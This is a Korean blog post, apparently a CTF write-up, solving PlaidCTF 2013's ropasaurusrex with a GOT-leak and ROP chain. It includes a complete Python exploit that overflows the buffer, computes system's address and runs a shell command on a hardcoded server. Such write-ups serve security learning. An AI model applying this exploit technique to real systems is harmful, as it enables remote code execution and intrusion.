ROP 하나씩.
오버플로우는 140 바이트 넣으면 뜨는건 일단 쉽게 보인다.
to do list
write 를 이용해서 메모리 릭으로 GOT 얻는 것.
read 를 이용해서 계산된 system 함수의 주소를 얻는 것.
system 함수로 커맨드라인 컨트롤
write() 함수로 커맨드라인 전송
풀이 1. http://codezen.fr/2013/04/22/plaidctf-2013-pwnable-200-ropasaurusrex-write-up/
pop4ret 를 이용해서 ROP 스택 사이의 스택들을 채울 것이다.
일단 쓰이고 있는 메인 함수들이 네 개 밖에 없다
Relocation section '.rel.plt' at offset 0x29c contains 4 entries:
Offset Info Type Sym.Value Sym. Name
08049610 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__
08049614 00000207 R_386_JUMP_SLOT 00000000 write
08049618 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main
0804961c 00000407 R_386_JUMP_SLOT 00000000 read
libc 에서의 함수 주소와 실제 메모리상의 함수 PLT 주소를 알고 있으면
그 차이를 통해 libc의 베이스를 알 수 있음.
그래서 read write 를 일단 쓰는데
read 로 write 의 정확한 위치를 알고,
write 에 system 을 덮어쓰고
write 를 호출한다.
write( 소켓, write 함수 got , 4)
이러면 write 함수 값 들어오고 그걸로 system 함수 값 계산
read( 소켓, 특정 위치, 4)<<== 계산값대입
read( 소켓, 데이터, 데이터길이 ) <<== 시스템 문자열
write( 소켓, write 함수 got 위치, 4) ==> system 함수 실행
PLT 와 GOT 위치 정리가 필요할듯.
PLT 영역의 값들은 변하지 않기 때문에 함수 호출을 할 때 plt 영역의 값을 이용한다.
objdump 해서 나오는 값을 찾던지 gdb 를 하던지 하도록 하고
readelf 에서 나오는 .rel.plt 의 함수 offset 은 실제 libc 의 함수를 가리키는 포인터.
얘를 덮어쓰도록 해야 한다
bss 근처 값에다가 문자열 삽입하면 됨
from socket import *
import struct
import time
from struct import pack, unpack
popret = 0x080484B8
pop2ret = 0x80484b7
pop3ret = 0x80484b6
str = "ls -al"
strbuf = 0x8049640
#strbuf = 0x08049620
writeplt = 0x804830c
readplt = 0x804832c
writegot = 0x8049614
buf = "A"*140
buf += pack("<I", writeplt)
buf += pack("<I", pop3ret)
buf += pack("<I", 1)
buf += pack("<I", writegot)
buf += pack("<I", 4)
# read to function "write"'s got.
buf += pack("<I", readplt)
buf += pack("<I", pop3ret)
buf += pack("<I", 0)
buf += pack("<I", writegot)
buf += pack("<I", 4)
# read to strbuf about command
buf += pack("<I", readplt)
buf += pack("<I", pop3ret)
buf += pack("<I", 0)
buf += pack("<I", strbuf)
buf += pack("<I", len(str))
# call system
#buf += pack("<I", readplt)
buf += pack("<I", writeplt)
buf += pack("<I", 0xdeadbeef)
buf += pack("<I", strbuf)
s=socket(AF_INET, SOCK_STREAM)
s.connect(("203.229.206.22", 40645))
s.send(buf)
recv = s.recv(4);
got = unpack("<I", recv[0:4])[0]
print hex(got);
#systemplt = got - (0xbf190 - 0x39450)
systemplt = got - (0x217f50 - 0x1847e0)
#time.sleep(0.1)
s.send( pack("<I",systemplt) )
time.sleep(0.1)
s.send(str)
print s.recv(1024)
s.close()
'Conference > Write up' 카테고리의 다른 글
codegate - hunting (0) | 2017.02.16 |
---|---|
IMS-hard - RC3 CTF 2016 400pt (0) | 2016.11.21 |
IMS-easy - RC3 CTF 2016 150pt (0) | 2016.11.21 |
defcon24 - feedme (0) | 2016.06.08 |
2014 DEFCON - sftp (0) | 2014.06.08 |